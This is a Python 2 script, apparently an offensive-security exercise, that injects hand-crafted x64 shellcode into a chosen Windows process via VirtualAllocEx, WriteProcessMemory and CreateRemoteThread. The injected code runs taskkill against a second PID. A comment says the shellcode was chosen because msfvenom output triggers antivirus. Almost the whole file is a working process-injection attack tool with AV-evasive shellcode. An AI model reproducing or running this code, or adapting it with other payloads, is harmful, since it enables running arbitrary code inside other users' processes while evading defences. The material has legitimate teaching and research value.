code_injector.py

import sys
from ctypes import *
from win_defines import *

if len(sys.argv) < 3:
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
    sys.exit(0)

kernel32      = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill   = sys.argv[2]

# adapted from http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
# msfvenom generated shellcode triggers AV
shellcode = \
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x57\x00\x00\x00\x48\x8D\x0D\x43\x00\x00\x00\xE8\x97" \
"\x00\x00\x00\x4C\x8B\xF8\x48\x8D\x15\x4E\x00\x00\x00\x48\x8D\x0D\x2D\x00\x00\x00\xE8\x81\x00\x00" \
"\x00\x48\xC7\xC2\x00\x00\x00\x00\x48\x8D\x0D\x3C\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00\x00" \
"\x48\x8D\x0D\x0A\x00\x00\x00\xE8\x5E\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B\x45\x52\x4E\x45\x4C\x33" \
"\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x57\x69\x6E\x45\x78" \
"\x65\x63\x00\x43\x3A\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x74" \
"\x61\x73\x6B\x6B\x69\x6C\x6C\x2E\x65\x78\x65\x20\x2F\x70\x69\x64\x20\x41\x41\x41\x41\x41\x00\x45" \
"\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60\x00\x00\x00\x4D" \
"\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26" \
"\x8A\x27\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7\x48\xFF\xC7\xEB\xE5\x4D\x8B" \
"\x00\x4D\x3B\xC4\x75\xD6\x48\x33\xC0\xE9\xA8\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C\x03" \
"\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED\x75\x08\x48\x33\xC0\xE9\x86\x00\x00\x00" \
"\x4D\x8D\x44\x1D\x00\x45\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C\x03\xD3\xFF" \
"\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB" \
"\xF5\xE2\xE6\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B\x0C\x49\x45\x8B\x48\x1C" \
"\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x03\x48\x8D\x7C" \
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7" \
"\x49\x8B\xCC\x48\x8B\xD6\xE9\x13\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3"

# debugging
# shellcode = "\xcc" + shellcode

padding       = 5 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding )
replace_string= "\x41" * 5

shellcode     = shellcode.replace( replace_string, replace_value )
code_size     = len(shellcode)

print "[!] shell size: %d" % code_size

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

# Allocate some space for the shellcode
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD]
kernel32.VirtualAllocEx.restype  = LPVOID
arg_address = kernel32.VirtualAllocEx( h_process, None, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
if not arg_address:
    raise WinError()
    
print "[*] alloc address: 0x%08x" % arg_address

# Write out the shellcode
written = c_ulonglong(0)
kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)]
kernel32.WriteProcessMemory.restype  = bool
if not kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)):
    raise WinError()
    
print "[*] bytes written: %d" % written.value

# Now we create the remote thread and point it's entry routine
# to be head of our shellcode
thread_id = DWORD()

kernel32.CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD]
kernel32.CreateRemoteThread.restype  = HANDLE
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):
    raise WinError()
    
print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill